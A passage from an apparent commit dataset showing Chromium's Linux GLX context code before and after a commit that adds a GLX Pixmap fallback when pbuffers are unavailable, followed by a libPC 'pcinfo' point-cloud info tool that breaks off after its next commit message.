visual_info_template;\n visual_info_template.visualid = XVisualIDFromVisual(attributes.visual);\n int visual_info_count = 0;\n scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list(\n XGetVisualInfo(display, VisualIDMask,\n &visual_info_template,\n &visual_info_count));\n DCHECK(visual_info_list.get());\n DCHECK_GT(visual_info_count, 0);\n context_ = NULL;\n for (int i = 0; i < visual_info_count; ++i) {\n context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True);\n if (context_)\n break;\n }\n if (!context_) {\n DLOG(ERROR) << \"Couldn't create GL context.\";\n return false;\n }\n\n if (!MakeCurrent()) {\n Destroy();\n DLOG(ERROR) << \"Couldn't make context current for initialization.\";\n return false;\n }\n\n if (!InitializeGLEW()) {\n Destroy();\n return false;\n }\n\n if (!InitializeCommon()) {\n Destroy();\n return false;\n }\n\n return true;\n}\n\nvoid ViewGLContext::Destroy() {\n Display* display = x11_util::GetXDisplay();\n Bool result = glXMakeCurrent(display, 0, 0);\n\n \/\/ glXMakeCurrent isn't supposed to fail when unsetting the context, unless\n \/\/ we have pending draws on an invalid window - which shouldn't be the case\n \/\/ here.\n DCHECK(result);\n if (context_) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n }\n}\n\nbool ViewGLContext::MakeCurrent() {\n if (IsCurrent()) {\n return true;\n }\n\n Display* display = x11_util::GetXDisplay();\n if (glXMakeCurrent(display, window_, context_) != True) {\n glXDestroyContext(display, context_);\n context_ = 0;\n DLOG(ERROR) << \"Couldn't make context current.\";\n return false;\n }\n\n return true;\n}\n\nbool ViewGLContext::IsCurrent() {\n return glXGetCurrentDrawable() == window_ &&\n glXGetCurrentContext() == context_;\n}\n\nbool ViewGLContext::IsOffscreen() {\n return false;\n}\n\nvoid ViewGLContext::SwapBuffers() {\n Display* display = x11_util::GetXDisplay();\n glXSwapBuffers(display, window_);\n}\n\ngfx::Size ViewGLContext::GetSize() {\n XWindowAttributes attributes;\n Display* display = x11_util::GetXDisplay();\n XGetWindowAttributes(display, window_, &attributes);\n return gfx::Size(attributes.width, attributes.height);\n}\n\nvoid* ViewGLContext::GetHandle() {\n return context_;\n}\n\nGLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window,\n bool multisampled) {\n if (!InitializeOneOff())\n return NULL;\n\n if (OSMesaCreateContext) {\n \/\/ TODO(apatrick): Support OSMesa rendering to a window on Linux.\n NOTREACHED() << \"OSMesa rendering to a window is not yet implemented.\";\n return NULL;\n } else {\n scoped_ptr<ViewGLContext> context(new ViewGLContext(window));\n\n if (!context->Initialize(multisampled))\n return NULL;\n\n return context.release();\n }\n}\n\nbool PbufferGLContext::Initialize(void* shared_handle) {\n if (!glXChooseFBConfig ||\n !glXCreateNewContext ||\n !glXCreatePbuffer ||\n !glXDestroyPbuffer) {\n DLOG(ERROR) << \"Pbuffer support not available.\";\n return false;\n }\n\n static const int config_attributes[] = {\n GLX_DRAWABLE_TYPE,\n GLX_PBUFFER_BIT,\n GLX_RENDER_TYPE,\n GLX_RGBA_BIT,\n GLX_DOUBLEBUFFER,\n 0,\n 0\n };\n\n Display* display = x11_util::GetXDisplay();\n\n int nelements = 0;\n \/\/ TODO(kbr): figure out whether hardcoding screen to 0 is sufficient.\n scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config(\n glXChooseFBConfig(display, 0, config_attributes, &nelements));\n if (!config.get()) {\n DLOG(ERROR) << \"glXChooseFBConfig failed.\";\n return false;\n }\n if (!nelements) {\n DLOG(ERROR) << \"glXChooseFBConfig returned 0 elements.\";\n return false;\n }\n context_ = glXCreateNewContext(display,\n config.get()[0],\n GLX_RGBA_TYPE,\n static_cast<GLContextHandle>(shared_handle),\n True);\n if (!context_) {\n DLOG(ERROR) << \"glXCreateNewContext failed.\";\n return false;\n }\n static const int pbuffer_attributes[] = {\n GLX_PBUFFER_WIDTH,\n 1,\n GLX_PBUFFER_HEIGHT,\n 1,\n 0\n };\n pbuffer_ = glXCreatePbuffer(display,\n config.get()[0], pbuffer_attributes);\n if (!pbuffer_) {\n Destroy();\n DLOG(ERROR) << \"glXCreatePbuffer failed.\";\n return false;\n }\n\n if (!MakeCurrent()) {\n Destroy();\n DLOG(ERROR) << \"Couldn't make context current for initialization.\";\n return false;\n }\n\n if (!InitializeGLEW()) {\n Destroy();\n return false;\n }\n\n if (!InitializeCommon()) {\n Destroy();\n return false;\n }\n\n return true;\n}\n\nvoid PbufferGLContext::Destroy() {\n Display* display = x11_util::GetXDisplay();\n Bool result = glXMakeCurrent(display, 0, 0);\n \/\/ glXMakeCurrent isn't supposed to fail when unsetting the context, unless\n \/\/ we have pending draws on an invalid window - which shouldn't be the case\n \/\/ here.\n DCHECK(result);\n if (context_) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n }\n\n if (pbuffer_) {\n glXDestroyPbuffer(display, pbuffer_);\n pbuffer_ = 0;\n }\n}\n\nbool PbufferGLContext::MakeCurrent() {\n if (IsCurrent()) {\n return true;\n }\n Display* display = x11_util::GetXDisplay();\n if (glXMakeCurrent(display, pbuffer_, context_) != True) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n DLOG(ERROR) << \"Couldn't make context current.\";\n return false;\n }\n\n return true;\n}\n\nbool PbufferGLContext::IsCurrent() {\n return glXGetCurrentDrawable() == pbuffer_ &&\n glXGetCurrentContext() == context_;\n}\n\nbool PbufferGLContext::IsOffscreen() {\n return true;\n}\n\nvoid PbufferGLContext::SwapBuffers() {\n NOTREACHED() << \"Attempted to call SwapBuffers on a pbuffer.\";\n}\n\ngfx::Size PbufferGLContext::GetSize() {\n NOTREACHED() << \"Should not be requesting size of this pbuffer.\";\n return gfx::Size(1, 1);\n}\n\nvoid* PbufferGLContext::GetHandle() {\n return context_;\n}\n\nGLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) {\n if (!InitializeOneOff())\n return NULL;\n\n if (OSMesaCreateContext) {\n scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext);\n\n if (!context->Initialize(shared_handle))\n return NULL;\n\n return context.release();\n } else {\n scoped_ptr<PbufferGLContext> context(new PbufferGLContext);\n if (!context->Initialize(shared_handle))\n return NULL;\n\n return context.release();\n }\n}\n\n} \/\/ namespace gfx\n<commit_msg>linux: fallback to GLX Pixmaps when pbuffers aren't available<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file implements the ViewGLContext and PbufferGLContext classes.\n\n#include <dlfcn.h>\n#include <GL\/glew.h>\n#include <GL\/glxew.h>\n#include <GL\/glx.h>\n#include <GL\/osmew.h>\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n\n#include \"app\/x11_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"app\/gfx\/gl\/gl_context.h\"\n#include \"app\/gfx\/gl\/gl_context_osmesa.h\"\n\nnamespace gfx {\n\ntypedef GLXContext GLContextHandle;\ntypedef GLXPbuffer PbufferHandle;\n\n\/\/ This class is a wrapper around a GL context that renders directly to a\n\/\/ window.\nclass ViewGLContext : public GLContext {\n public:\n explicit ViewGLContext(gfx::PluginWindowHandle window)\n : window_(window),\n context_(NULL) {\n DCHECK(window);\n }\n\n \/\/ Initializes the GL context.\n bool Initialize(bool multisampled);\n\n virtual void Destroy();\n virtual bool MakeCurrent();\n virtual bool IsCurrent();\n virtual bool IsOffscreen();\n virtual void SwapBuffers();\n virtual gfx::Size GetSize();\n virtual void* GetHandle();\n\n private:\n gfx::PluginWindowHandle window_;\n GLContextHandle context_;\n\n DISALLOW_COPY_AND_ASSIGN(ViewGLContext);\n};\n\n\/\/ This class is a wrapper around a GL context used for offscreen rendering.\n\/\/ It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful\n\/\/ rendering.\nclass PbufferGLContext : public GLContext {\n public:\n explicit PbufferGLContext()\n : context_(NULL),\n pbuffer_(0) {\n }\n\n \/\/ Initializes the GL context.\n bool Initialize(void* shared_handle);\n\n virtual void Destroy();\n virtual bool MakeCurrent();\n virtual bool IsCurrent();\n virtual bool IsOffscreen();\n virtual void SwapBuffers();\n virtual gfx::Size GetSize();\n virtual void* GetHandle();\n\n private:\n GLContextHandle context_;\n PbufferHandle pbuffer_;\n\n DISALLOW_COPY_AND_ASSIGN(PbufferGLContext);\n};\n\n\/\/ Backup context if Pbuffers (GLX 1.3) aren't supported. May run slower...\nclass PixmapGLContext : public GLContext {\n public:\n explicit PixmapGLContext()\n : context_(NULL),\n pixmap_(0),\n glx_pixmap_(0) {\n }\n\n \/\/ Initializes the GL context.\n bool Initialize(void* shared_handle);\n\n virtual void Destroy();\n virtual bool MakeCurrent();\n virtual bool IsCurrent();\n virtual bool IsOffscreen();\n virtual void SwapBuffers();\n virtual gfx::Size GetSize();\n virtual void* GetHandle();\n\n private:\n GLContextHandle context_;\n Pixmap pixmap_;\n GLXPixmap glx_pixmap_;\n\n DISALLOW_COPY_AND_ASSIGN(PixmapGLContext);\n};\n\n\/\/ scoped_ptr functor for XFree(). Use as follows:\n\/\/ scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...);\n\/\/ where \"XVisualInfo\" is any X type that is freed with XFree.\nclass ScopedPtrXFree {\n public:\n void operator()(void* x) const {\n ::XFree(x);\n }\n};\n\n\/\/ Some versions of NVIDIA's GL libGL.so include a broken version of\n\/\/ dlopen\/dlsym, and so linking it into chrome breaks it. So we dynamically\n\/\/ load it, and use glew to dynamically resolve symbols.\n\/\/ See http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=16800\n\nstatic bool InitializeOneOff() {\n static bool initialized = false;\n if (initialized)\n return true;\n\n osmewInit();\n if (!OSMesaCreateContext) {\n void* handle = dlopen(\"libGL.so.1\", RTLD_LAZY | RTLD_GLOBAL);\n if (!handle) {\n LOG(ERROR) << \"Could not find libGL.so.1\";\n return false;\n }\n\n \/\/ Initializes context-independent parts of GLEW\n if (glxewInit() != GLEW_OK) {\n LOG(ERROR) << \"glxewInit failed\";\n return false;\n }\n \/\/ glxewContextInit really only needs a display connection to\n \/\/ complete, and we don't want to have to create an OpenGL context\n \/\/ just to get access to GLX 1.3 entry points to create pbuffers.\n \/\/ We therefore added a glxewContextInitWithDisplay entry point.\n Display* display = x11_util::GetXDisplay();\n if (glxewContextInitWithDisplay(display) != GLEW_OK) {\n LOG(ERROR) << \"glxewContextInit failed\";\n return false;\n }\n }\n\n initialized = true;\n return true;\n}\n\nbool ViewGLContext::Initialize(bool multisampled) {\n if (multisampled) {\n DLOG(WARNING) << \"Multisampling not implemented.\";\n }\n\n Display* display = x11_util::GetXDisplay();\n XWindowAttributes attributes;\n XGetWindowAttributes(display, window_, &attributes);\n XVisualInfo visual_info_template;\n visual_info_template.visualid = XVisualIDFromVisual(attributes.visual);\n int visual_info_count = 0;\n scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list(\n XGetVisualInfo(display, VisualIDMask,\n &visual_info_template,\n &visual_info_count));\n DCHECK(visual_info_list.get());\n DCHECK_GT(visual_info_count, 0);\n context_ = NULL;\n for (int i = 0; i < visual_info_count; ++i) {\n context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True);\n if (context_)\n break;\n }\n if (!context_) {\n DLOG(ERROR) << \"Couldn't create GL context.\";\n return false;\n }\n\n if (!MakeCurrent()) {\n Destroy();\n DLOG(ERROR) << \"Couldn't make context current for initialization.\";\n return false;\n }\n\n if (!InitializeGLEW()) {\n Destroy();\n return false;\n }\n\n if (!InitializeCommon()) {\n Destroy();\n return false;\n }\n\n return true;\n}\n\nvoid ViewGLContext::Destroy() {\n Display* display = x11_util::GetXDisplay();\n Bool result = glXMakeCurrent(display, 0, 0);\n\n \/\/ glXMakeCurrent isn't supposed to fail when unsetting the context, unless\n \/\/ we have pending draws on an invalid window - which shouldn't be the case\n \/\/ here.\n DCHECK(result);\n if (context_) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n }\n}\n\nbool ViewGLContext::MakeCurrent() {\n if (IsCurrent()) {\n return true;\n }\n\n Display* display = x11_util::GetXDisplay();\n if (glXMakeCurrent(display, window_, context_) != True) {\n glXDestroyContext(display, context_);\n context_ = 0;\n DLOG(ERROR) << \"Couldn't make context current.\";\n return false;\n }\n\n return true;\n}\n\nbool ViewGLContext::IsCurrent() {\n return glXGetCurrentDrawable() == window_ &&\n glXGetCurrentContext() == context_;\n}\n\nbool ViewGLContext::IsOffscreen() {\n return false;\n}\n\nvoid ViewGLContext::SwapBuffers() {\n Display* display = x11_util::GetXDisplay();\n glXSwapBuffers(display, window_);\n}\n\ngfx::Size ViewGLContext::GetSize() {\n XWindowAttributes attributes;\n Display* display = x11_util::GetXDisplay();\n XGetWindowAttributes(display, window_, &attributes);\n return gfx::Size(attributes.width, attributes.height);\n}\n\nvoid* ViewGLContext::GetHandle() {\n return context_;\n}\n\nGLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window,\n bool multisampled) {\n if (!InitializeOneOff())\n return NULL;\n\n if (OSMesaCreateContext) {\n \/\/ TODO(apatrick): Support OSMesa rendering to a window on Linux.\n NOTREACHED() << \"OSMesa rendering to a window is not yet implemented.\";\n return NULL;\n } else {\n scoped_ptr<ViewGLContext> context(new ViewGLContext(window));\n\n if (!context->Initialize(multisampled))\n return NULL;\n\n return context.release();\n }\n}\n\nbool PbufferGLContext::Initialize(void* shared_handle) {\n if (!glXChooseFBConfig ||\n !glXCreateNewContext ||\n !glXCreatePbuffer ||\n !glXDestroyPbuffer) {\n DLOG(ERROR) << \"Pbuffer support not available.\";\n return false;\n }\n\n static const int config_attributes[] = {\n GLX_DRAWABLE_TYPE,\n GLX_PBUFFER_BIT,\n GLX_RENDER_TYPE,\n GLX_RGBA_BIT,\n GLX_DOUBLEBUFFER,\n 0,\n 0\n };\n\n Display* display = x11_util::GetXDisplay();\n\n int nelements = 0;\n \/\/ TODO(kbr): figure out whether hardcoding screen to 0 is sufficient.\n scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config(\n glXChooseFBConfig(display, 0, config_attributes, &nelements));\n if (!config.get()) {\n DLOG(ERROR) << \"glXChooseFBConfig failed.\";\n return false;\n }\n if (!nelements) {\n DLOG(ERROR) << \"glXChooseFBConfig returned 0 elements.\";\n return false;\n }\n context_ = glXCreateNewContext(display,\n config.get()[0],\n GLX_RGBA_TYPE,\n static_cast<GLContextHandle>(shared_handle),\n True);\n if (!context_) {\n DLOG(ERROR) << \"glXCreateNewContext failed.\";\n return false;\n }\n static const int pbuffer_attributes[] = {\n GLX_PBUFFER_WIDTH,\n 1,\n GLX_PBUFFER_HEIGHT,\n 1,\n 0\n };\n pbuffer_ = glXCreatePbuffer(display,\n config.get()[0], pbuffer_attributes);\n if (!pbuffer_) {\n Destroy();\n DLOG(ERROR) << \"glXCreatePbuffer failed.\";\n return false;\n }\n\n if (!MakeCurrent()) {\n Destroy();\n DLOG(ERROR) << \"Couldn't make context current for initialization.\";\n return false;\n }\n\n if (!InitializeGLEW()) {\n Destroy();\n return false;\n }\n\n if (!InitializeCommon()) {\n Destroy();\n return false;\n }\n\n return true;\n}\n\nvoid PbufferGLContext::Destroy() {\n Display* display = x11_util::GetXDisplay();\n Bool result = glXMakeCurrent(display, 0, 0);\n \/\/ glXMakeCurrent isn't supposed to fail when unsetting the context, unless\n \/\/ we have pending draws on an invalid window - which shouldn't be the case\n \/\/ here.\n DCHECK(result);\n if (context_) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n }\n\n if (pbuffer_) {\n glXDestroyPbuffer(display, pbuffer_);\n pbuffer_ = 0;\n }\n}\n\nbool PbufferGLContext::MakeCurrent() {\n if (IsCurrent()) {\n return true;\n }\n Display* display = x11_util::GetXDisplay();\n if (glXMakeCurrent(display, pbuffer_, context_) != True) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n DLOG(ERROR) << \"Couldn't make context current.\";\n return false;\n }\n\n return true;\n}\n\nbool PbufferGLContext::IsCurrent() {\n return glXGetCurrentDrawable() == pbuffer_ &&\n glXGetCurrentContext() == context_;\n}\n\nbool PbufferGLContext::IsOffscreen() {\n return true;\n}\n\nvoid PbufferGLContext::SwapBuffers() {\n NOTREACHED() << \"Attempted to call SwapBuffers on a pbuffer.\";\n}\n\ngfx::Size PbufferGLContext::GetSize() {\n NOTREACHED() << \"Should not be requesting size of this pbuffer.\";\n return gfx::Size(1, 1);\n}\n\nvoid* PbufferGLContext::GetHandle() {\n return context_;\n}\n\nbool PixmapGLContext::Initialize(void* shared_handle) {\n DLOG(INFO) << \"GL context: using pixmaps.\";\n if (!glXChooseVisual ||\n !glXCreateGLXPixmap ||\n !glXDestroyGLXPixmap) {\n DLOG(ERROR) << \"Pixmap support not available.\";\n return false;\n }\n\n static int attributes[] = {\n GLX_RGBA,\n 0\n };\n\n Display* display = x11_util::GetXDisplay();\n int screen = DefaultScreen(display);\n\n scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info(\n glXChooseVisual(display, screen, attributes));\n\n if (!visual_info.get()) {\n DLOG(ERROR) << \"glXChooseVisual failed.\";\n return false;\n }\n context_ = glXCreateContext(display, visual_info.get(),\n static_cast<GLContextHandle>(shared_handle),\n True);\n if (!context_) {\n DLOG(ERROR) << \"glXCreateContext failed.\";\n return false;\n }\n\n pixmap_ = XCreatePixmap(display, RootWindow(display, screen), 1, 1,\n visual_info->depth);\n if (!pixmap_) {\n DLOG(ERROR) << \"XCreatePixmap failed.\";\n return false;\n }\n\n glx_pixmap_ = glXCreateGLXPixmap(display, visual_info.get(), pixmap_);\n if (!glx_pixmap_) {\n DLOG(ERROR) << \"XCreatePixmap failed.\";\n return false;\n }\n\n if (!MakeCurrent()) {\n Destroy();\n DLOG(ERROR) << \"Couldn't make context current for initialization.\";\n return false;\n }\n\n if (!InitializeGLEW()) {\n Destroy();\n return false;\n }\n\n if (!InitializeCommon()) {\n Destroy();\n return false;\n }\n\n return true;\n}\n\nvoid PixmapGLContext::Destroy() {\n Display* display = x11_util::GetXDisplay();\n Bool result = glXMakeCurrent(display, 0, 0);\n \/\/ glXMakeCurrent isn't supposed to fail when unsetting the context, unless\n \/\/ we have pending draws on an invalid window - which shouldn't be the case\n \/\/ here.\n DCHECK(result);\n if (context_) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n }\n\n if (glx_pixmap_) {\n glXDestroyGLXPixmap(display, glx_pixmap_);\n glx_pixmap_ = 0;\n }\n\n if (pixmap_) {\n XFreePixmap(display, pixmap_);\n pixmap_ = 0;\n }\n}\n\nbool PixmapGLContext::MakeCurrent() {\n if (IsCurrent()) {\n return true;\n }\n Display* display = x11_util::GetXDisplay();\n if (glXMakeCurrent(display, glx_pixmap_, context_) != True) {\n glXDestroyContext(display, context_);\n context_ = NULL;\n DLOG(ERROR) << \"Couldn't make context current.\";\n return false;\n }\n\n return true;\n}\n\nbool PixmapGLContext::IsCurrent() {\n return glXGetCurrentDrawable() == glx_pixmap_ &&\n glXGetCurrentContext() == context_;\n}\n\nbool PixmapGLContext::IsOffscreen() {\n return true;\n}\n\nvoid PixmapGLContext::SwapBuffers() {\n NOTREACHED() << \"Attempted to call SwapBuffers on a pixmap.\";\n}\n\ngfx::Size PixmapGLContext::GetSize() {\n NOTREACHED() << \"Should not be requesting size of this pixmap.\";\n return gfx::Size(1, 1);\n}\n\nvoid* PixmapGLContext::GetHandle() {\n return context_;\n}\n\nGLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) {\n if (!InitializeOneOff())\n return NULL;\n\n if (OSMesaCreateContext) {\n scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext);\n\n if (!context->Initialize(shared_handle))\n return NULL;\n\n return context.release();\n } else {\n scoped_ptr<PbufferGLContext> context(new PbufferGLContext);\n if (context->Initialize(shared_handle))\n return context.release();\n\n scoped_ptr<PixmapGLContext> context_pixmap(new PixmapGLContext);\n if (context_pixmap->Initialize(shared_handle))\n return context_pixmap.release();\n\n return NULL;\n }\n}\n\n} \/\/ namespace gfx\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n *\n * Project: libLAS -- C\/C++ read\/write library for LAS LIDAR data\n * Purpose: LAS information with optional configuration\n * Author: Howard Butler, hobu.inc at gmail.com\n ***************************************************************************\n * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com \n *\n * See LICENSE.txt in this source distribution for more information.\n **************************************************************************\/\n\n\n#include <libpc\/drivers\/las\/Reader.hpp>\n#include <libpc\/drivers\/liblas\/Reader.hpp>\n#include <libpc\/Utils.hpp>\n#ifdef LIBPC_HAVE_MRSID\n#include <libpc\/drivers\/mrsid\/Reader.hpp>\n#endif\n\n#include <iostream>\n\n#include \"Application.hpp\"\n\nusing namespace libpc;\nnamespace po = boost::program_options;\n\nclass Application_pcinfo : public Application\n{\npublic:\n Application_pcinfo(int argc, char* argv[]);\n int execute();\nprivate:\n void addOptions();\n bool validateOptions();\n\n std::string m_inputFile;\n};\n\n\nApplication_pcinfo::Application_pcinfo(int argc, char* argv[])\n : Application(argc, argv, \"pcinfo\")\n{\n}\n\n\nbool Application_pcinfo::validateOptions()\n{\n if (!hasOption(\"input\"))\n {\n usageError(\"input file name required\");\n return false;\n }\n\n return true;\n}\n\n\nvoid Application_pcinfo::addOptions()\n{\n po::options_description* file_options = new po::options_description(\"file options\");\n\n file_options->add_options()\n (\"input,i\", po::value<std::string>(&m_inputFile), \"input file name\")\n (\"native\", \"use native LAS classes (not liblas)\")\n ;\n\n addOptionSet(file_options);\n\n addPositionalOption(\"input\", 1);\n\n return;\n}\n\n\nint Application_pcinfo::execute()\n{\n if (!Utils::fileExists(m_inputFile))\n {\n runtimeError(\"file not found: \" + m_inputFile);\n return 1;\n }\n\n libpc::Stage* reader = NULL;\n size_t ext = m_inputFile.find_last_of('.');\n if (ext != std::string::npos)\n {\n ext++;\n if (!m_inputFile.substr(ext).compare(\"las\") ||\n !m_inputFile.substr(ext).compare(\"laz\"))\n {\n if (hasOption(\"native\"))\n {\n reader = new libpc::drivers::las::LasReader(m_inputFile);\n }\n else\n {\n reader = new libpc::drivers::liblas::LiblasReader(m_inputFile);\n }\n }\n#ifdef LIBPC_HAVE_MRSID\n else if (!m_inputFile.substr(ext).compare(\"sid\"))\n {\n reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str());\n }\n#endif\n }\n else\n {\n std::cerr << \"Cannot determine file type of \" << m_inputFile\n << \".\" << std::endl;\n return 1;\n }\n\n boost::uint64_t numPoints = reader->getNumPoints();\n\n delete reader;\n\n std::cout << numPoints << \" points\\n\";\n\n return 0;\n}\n\nint main(int argc, char* argv[])\n{\n Application_pcinfo app(argc, argv);\n return app.run();\n}\n\n\n#if 0\n\n#include <liblas\/liblas.hpp>\n#include \"laskernel.hpp\"\n\n#include <boost\/cstdint.hpp>\n#include <boost\/foreach.hpp>\n\n#include <locale>\n\n\nusing namespace liblas;\nusing namespace std;\n\n\nliblas::Summary check_points( liblas::Reader& reader,\n std::vector<liblas::FilterPtr>& filters,\n std::vector<liblas::TransformPtr>& transforms,\n bool verbose)\n{\n\n liblas::Summary summary;\n \n reader.SetFilters(filters);\n reader.SetTransforms(transforms);\n\n\n\n if (verbose)\n std::cout << \"Scanning points:\" \n << \"\\n - : \"\n << std::endl;\n\n \/\/\n \/\/ Translation of points cloud to features set\n \/\/\n boost::uint32_t i = 0;\n boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount();\n \n\n while (reader.ReadNextPoint())\n {\n liblas::Point const& p = reader.GetPoint();\n summary.AddPoint(p);\n if (verbose)\n term_progress(std::cout, (i + 1) \/ static_cast<double>(size));\n i++;\n\n }\n if (verbose)\n std::cout << std::endl;\n \n return summary;\n \n}\n\nvoid OutputHelp( std::ostream & oss, po::options_description const& options)\n{\n oss << \"--------------------------------------------------------------------\\n\";\n oss << \" lasinfo (\" << GetFullVersion() << \")\\n\";\n oss << \"--------------------------------------------------------------------\\n\";\n\n oss << options;\n\n oss <<\"\\nFor more information, see the full documentation for lasinfo at:\\n\";\n \n oss << \" http:\/\/liblas.org\/utilities\/lasinfo.html\\n\";\n oss << \"----------------------------------------------------------\\n\";\n\n}\n\nvoid PrintVLRs(std::ostream& os, liblas::Header const& header)\n{\n if (!header.GetRecordsCount())\n return ;\n \n os << \"---------------------------------------------------------\" << std::endl;\n os << \" VLR Summary\" << std::endl;\n os << \"---------------------------------------------------------\" << std::endl;\n \n typedef std::vector<VariableRecord>::size_type size_type;\n for(size_type i = 0; i < header.GetRecordsCount(); i++) {\n liblas::VariableRecord const& v = header.GetVLR(i);\n os << v;\n }\n \n}\n\n\nint main(int argc, char* argv[])\n{\n\n std::string input;\n\n bool verbose = false;\n bool check = true;\n bool show_vlrs = true;\n bool show_schema = true;\n bool output_xml = false;\n bool output_json = false;\n bool show_point = false;\n bool use_locale = false;\n boost::uint32_t point = 0;\n \n std::vector<liblas::FilterPtr> filters;\n std::vector<liblas::TransformPtr> transforms;\n \n liblas::Header header;\n\n try {\n\n po::options_description file_options(\"lasinfo options\");\n po::options_description filtering_options = GetFilteringOptions();\n po::options_description header_options = GetHeaderOptions();\n\n po::positional_options_description p;\n p.add(\"input\", 1);\n p.add(\"output\", 1);\n\n file_options.add_options()\n (\"help,h\", \"produce help message\")\n (\"input,i\", po::value< string >(), \"input LAS file\")\n\n (\"verbose,v\", po::value<bool>(&verbose)->zero_tokens(), \"Verbose message output\")\n (\"no-vlrs\", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), \"Don't show VLRs\")\n (\"no-schema\", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), \"Don't show schema\")\n (\"no-check\", po::value<bool>(&check)->zero_tokens()->implicit_value(false), \"Don't scan points\")\n (\"xml\", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), \"Output as XML\")\n (\"point,p\", po::value<boost::uint32_t>(&point), \"Display a point with a given id. --point 44\")\n\n (\"locale\", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), \"Use the environment's locale for output\")\n\n\/\/ --xml\n\/\/ --json\n\/\/ --restructured text output\n ;\n\n po::variables_map vm;\n po::options_description options;\n options.add(file_options).add(filtering_options);\n po::store(po::command_line_parser(argc, argv).\n options(options).positional(p).run(), vm);\n\n po::notify(vm);\n\n if (vm.count(\"help\")) \n {\n OutputHelp(std::cout, options);\n return 1;\n }\n\n if (vm.count(\"point\")) \n {\n show_point = true;\n }\n\n if (vm.count(\"input\")) \n {\n input = vm[\"input\"].as< string >();\n std::ifstream ifs;\n if (verbose)\n std::cout << \"Opening \" << input << \" to fetch Header\" << std::endl;\n if (!liblas::Open(ifs, input.c_str()))\n {\n std::cerr << \"Cannot open \" << input << \" for read. Exiting...\" << std::endl;\n return 1;\n }\n liblas::ReaderFactory f;\n liblas::Reader reader = f.CreateWithStream(ifs);\n header = reader.GetHeader();\n } else {\n std::cerr << \"Input LAS file not specified!\\n\";\n OutputHelp(std::cout, options);\n return 1;\n }\n\n\n filters = GetFilters(vm, verbose);\n\n std::ifstream ifs;\n if (!liblas::Open(ifs, input.c_str()))\n {\n std::cerr << \"Cannot open \" << input << \" for read. Exiting...\" << std::endl;\n return false;\n }\n \n\n liblas::ReaderFactory f;\n liblas::Reader reader = f.CreateWithStream(ifs);\n if (show_point)\n {\n try \n {\n reader.ReadPointAt(point);\n liblas::Point const& p = reader.GetPoint();\n if (output_xml) {\n liblas::property_tree::ptree tree;\n tree = p.GetPTree();\n liblas::property_tree::write_xml(std::cout, tree);\n exit(0);\n } \n else \n {\n if (use_locale)\n {\n std::locale l(\"\");\n std::cout.imbue(l);\n }\n std::cout << p << std::endl;\n exit(0); \n }\n \n } catch (std::out_of_range const& e)\n {\n std::cerr << \"Unable to read point at index \" << point << \": \" << e.what() << std::endl;\n exit(1);\n \n }\n\n }\n\n liblas::Summary summary;\n if (check)\n summary = check_points( reader, \n filters,\n transforms,\n verbose\n );\n\n liblas::Header const& header = reader.GetHeader();\n\n \/\/ Add the header to the summary so we can get more detailed \n \/\/ info\n summary.SetHeader(header);\n \n if (output_xml && output_json) {\n std::cerr << \"both JSON and XML output cannot be chosen\";\n return 1;\n }\n if (output_xml) {\n liblas::property_tree::ptree tree;\n if (check)\n tree = summary.GetPTree();\n else \n {\n tree.add_child(\"summary.header\", header.GetPTree());\n }\n \n liblas::property_tree::write_xml(std::cout, tree);\n return 0;\n }\n\n if (use_locale)\n {\n std::locale l(\"\");\n std::cout.imbue(l);\n }\n\n std::cout << header << std::endl; \n if (show_vlrs)\n PrintVLRs(std::cout, header);\n\n if (show_schema)\n std::cout << header.GetSchema();\n \n if (check) {\n std::cout << summary << std::endl;\n \n }\n }\n catch(std::exception& e) {\n std::cerr << \"error: \" << e.what() << \"\\n\";\n return 1;\n }\n catch(...) {\n std::cerr << \"Exception of unknown type!\\n\";\n }\n \n return 0;\n\n\n}\n\n\/\/las2las2 -i lt_srs_rt.las -o foo.las -c 1,2 -b 2483590,366208,2484000,366612\n#endif\n<commit_msg>dump wkt info<commit_after>\/***************************************************************************\n *\n * Project: libLAS -- C\/C++ read\/write library for LAS LIDAR data\n * Purpose: LAS information with optional configuration\n * Author: Howard Butler, hobu.inc at gmail.com\n ***************************************************************************\n * Copyright (c) 2010, Howard Butler, hobu.inc at gmail.com \n *\n * See LICENSE.txt in this source distribution for more information.\n **************************************************************************\/\n\n\n#include <libpc\/drivers\/las\/Reader.hpp>\n#include <libpc\/drivers\/liblas\/Reader.hpp>\n#include <libpc\/Utils.hpp>\n#ifdef LIBPC_HAVE_MRSID\n#include <libpc\/drivers\/mrsid\/Reader.hpp>\n#endif\n\n#include 